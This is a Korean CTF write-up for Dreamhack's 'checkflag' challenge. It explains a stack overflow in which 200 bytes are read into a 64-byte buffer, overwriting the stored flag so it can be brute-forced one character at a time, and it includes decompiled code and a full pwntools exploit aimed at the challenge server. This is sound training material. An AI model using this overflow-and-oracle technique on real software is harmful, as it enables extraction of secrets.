[dreamhack] checkflag writeup

1. 문제

thumbnail
checkflag

이 문제는 플래그를 입력하면 정답 여부를 확인하는 바이너리를 통해 플래그를 추출하는 문제입니다.
플래그는 DH{...} 형식이며, printable ASCII 문자(0x20-0x7e)로만 이루어져 있습니다.

https://dreamhack.io/wargame/challenges/97

2. 풀이


int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 count; // rcx
  char *v4; // rdi
  FILE *fd; // rax
  FILE *fd_2; // r12
  ssize_t input_len; // rdx
  FILE *v8; // r12
  char input_data[64]; // [rsp+0h] [rbp-E8h] BYREF
  char flag_data[136]; // [rsp+40h] [rbp-A8h] BYREF
  unsigned __int64 v12; // [rsp+C8h] [rbp-20h]

  count = 50LL;
  v12 = __readfsqword(0x28u);
  v4 = input_data;
  while ( count )
  {
    *(_DWORD *)v4 = 0;
    v4 += 4;
    --count;
  }
  fd = fopen("flag", "r");
  if ( !fd )
LABEL_8:
    exit(1);
  fd_2 = fd;
  fgets(flag_data, 64, fd);
  fclose(fd_2);
  fputs("What's the flag? ", _bss_start);
  fflush(_bss_start);
  input_len = read(0, input_data, 0xC8uLL);
  v8 = _bss_start;
  if ( (__int64)strlen(flag_data) > input_len || strcmp(input_data, flag_data) )
  {
    fputs("Failed!\n", v8);
    goto LABEL_8;
  }
  fputs("Correct!\n", v8);
  return 0;
}

IDA에서 확인한 코드이다. 바이너리가 flag 파일을 읽어오고, 정상적인 사용자가 읽어온 flag 파일 내용과 동일하게 입력하면 Correct!를 출력하는 코드이다.


그런데 input_data 위치가 flag_data 위치보다 앞에 있고, 0xc8 == 200바이트만큼 입력받기 때문에 input_data부터 flag_data까지 모두 덮을 수 있다. 그리고 조건문에서는 input_lenflag_data 길이보다 짧지만 않으면 통과한다. 그래서 이를 이용해서 크게 두가지 단계로 문제를 풀 수 있다.

2.1. flag 파일 길이 알아내기

input_data에 문자를 하나씩 더해가면서 길이를 늘려서 flag 파일 길이를 맞출 수 있다. 이게 가능한 이유는 아래와 같이 되기 때문이다.

우선 flag_data가 ‘aaaaaaaaaa’라고 가정하자.

input_data에 처음에는 ‘b’ 한개만 넣고, 나머지 63개는 "\x00"으로 채운다. 이후 들어가는 flag_data에는 ‘b’ 하나만 넣으면 flag_data에는 맨앞 문자만 바뀌고, input_data는 문자가 하나만 있는 것으로 인식되기 때문에 조건문 중 첫번째 조건에서 계속 Failed!가 발생한다.

  • input_data : b
  • flag_data : baaaaaaaaa

그런데 점점 길이를 늘려가면서 만약 flag_data 길이가 10인데 ‘b’가 10개가 되면 아래와 같이 된다.

  • input_data : bbbbbbbbbb
  • flag_data : bbbbbbbbbb

flag_data가 모두 덮이고, input_data와도 같아지면서 조건문을 모두 통과하게되어 Correct!가 출력된다.

2.2. flag_data 알아내기

이제 길이를 알아냈으니, 이제는 실제 내용을 알아내야한다. 이제는 반대로 input_data를 하나씩 줄여가면서 확인할 것이다.

input_data는 ‘b’를 9개만 덮고 나머지 하나는 이제 for문으로 입력가능한 문자를 하나씩 바꿔서 넣는다. 그리고 flag_data에도 ‘b’를 9개만 덮을 것이다. 이러면 flag_data의 마지막 문자는 실제 flag_data의 문자인 ‘a’가 들어가기 때문에 아래와 같이된다.

  • input_data : bbbbbbbbbX
  • flag_data : bbbbbbbbba

X가 계속 for문을 돌다가 이제 ‘a’가 되는 순간 Correct!가 출력될 것이다. 그러면 이제 별도의 변수에 이를 저장하고 input_dataflag_data에 덮는 길이를 하나씩 줄여가면서 똑같은 방식으로 확인한다. 즉, 그 다음에는 아래와 같이 되는 것이다.

  • input_data : bbbbbbbbXa
  • flag_data : bbbbbbbbaa

이 방법을 통해 모든 flag_data를 확인할 수 있다.

2.3. 주의점 및 최종 exploit

이렇게 풀었을 때 로컬에서는 문제가 없었지만 서버환경에서는 발생했던 문제가 있었다.

로컬에서는 임의의 flag파일을 만들었는데 vi로 만들어서 그런지 마지막에 \x0a가 들어가서 실제 flag_data 길이가 예상보다 1만큼 길게 나왔었다.

이걸 가정하고 서버환경에다가 exploit을 넣어보니 안되길래 다시 이걸 처리하는 부분을 제외하고 해보니 해결됨…

import string
from pwn import *

charset = string.printable  # or limit to A-Za-z0-9{}_ etc.
known = 'b' + "\x00" * 63
i = 1


while True:
    guess = known + known[:i]
#    io = process('./checkflag')
    io = remote("host1.dreamhack.games", 9272)
    io.recvuntil(b"What's the flag? ")
    io.send(guess.encode())
    output = io.recvall()
    if b"Failed!" in output:
        known = "b" * (i+1) + "\x00" * (63 - i)
        i = i + 1
    else:
        print("end!")
        print(known)
        print(f"len is {i-1}")
        break
known = known[:i-1]

print(len(known))
real_flag = ''
j = 2
print(i)
while len(real_flag) < (i-1):
    for c in charset:
        guess = known[:i-j+1] + c + real_flag# + "\x0a"
        guess += "\x00" * (64 - len(guess))
        guess += known[:i-j+1]
        #io = process('./checkflag')
        io = remote("host1.dreamhack.games", 9272)
        io.recvuntil(b"What's the flag? ")
        io.send(guess.encode())
        output = io.recvall()
        if b"Failed!" in output:
            continue
        else:
            real_flag = c + real_flag
            j = j + 1
            print(real_flag)
            break

그리고 로컬에서는 확실히 속도가 빨랐는데 서버환경에서는 진짜… 매번 붙어야하는데다가 지금 미국에 있는데 드림핵 서버는 한국이니까 또 엄청나게 느렸다…


해결~